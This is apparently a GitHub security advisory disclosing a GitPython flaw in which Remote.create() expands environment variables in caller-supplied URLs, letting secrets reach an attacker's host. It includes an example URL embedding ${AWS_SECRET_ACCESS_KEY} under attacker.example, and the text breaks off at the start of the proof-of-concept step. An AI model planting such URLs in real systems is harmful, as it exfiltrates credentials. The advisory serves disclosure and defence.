GHSA-94p4-4cq8-9g67: GitPython: Environment-variable exfiltration via Repo.create_remote() / Remote.add() URL (incomplete fix of GHSA-rwj8-pgh3-r573)

Summary The fix for GHSA-rwj8-pgh3-r573 stopped Repo.clone_from() from running caller-supplied URLs through os.path.expandvars(), but it guarded only that one caller. Remote.create() — reached from the public Repo.create_remote() and its Remote.add() alias — still passes an attacker-influenceable URL through Git.polish_url() with the default expand_vars=True. A URL such as http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git is expanded server-side to embed the hosting process's environment secret, written into .git/config, and then transmitted to the attacker's host on the next fetch/pull. This is the same primitive and same "import repository from URL" threat model the advisory describes, via the sibling caller the fix missed. Root Cause Fix commit 8ac5a305 added an expand_vars parameter to Git.polish_url() (default True) and used expand_vars=False only in Repo._clone() (git/repo/base.py:1455). The shared helper's dangerous default was left in place, and the other callers were not updated. git/remote.py:811, Remote.create: url = Git.polish_url(url) # expand_vars=True -> os.path.expandvars(url) if not allow_unsafe_protocols: Git.check_unsafe_protocols(url) # https:// carrying the secret passes repo.git.remote(scmd, "--", name, url, **kwargs) # expanded URL written to .git/config check_unsafe_protocols() runs *after* expansion here, so it rejects an ext:: payload but does nothing about an https:// URL that carries an expanded secret in its path or host — the disclosure primitive. The same unguarded call also sits at git/objects/submodule/base.py:611 (Submodule.add), which writes the expanded URL into .gitmodules (a tracked file) and .git/config. Steps to Reproduce Prerequisites - Python 3.9+ - git on PATH (for the fetch step) - GitPython 3.1.53 (installed below) Step 1: Install GitPython 3.1.53 in a clean venv mkdir /tmp/gp-remote-poc && cd /tmp/gp-remote-poc python3 -m venv venv ./venv/bin/pip install gitpython==3.1.53 Step 2: Write the PoC cat >